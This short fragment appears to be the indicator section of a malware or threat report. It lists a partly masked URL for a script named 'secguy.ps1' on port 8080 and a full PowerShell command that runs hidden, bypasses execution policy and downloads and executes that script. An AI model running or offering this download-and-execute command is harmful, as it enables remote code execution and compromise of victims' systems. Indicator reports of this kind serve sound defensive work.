Technical Information
- http://19#.##8.78.129:8080/secguy.ps1
- '<LOCALNET>.78.129':8080
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://19#.##8.78.129:8080/secguy.ps1'));' (with hidden window)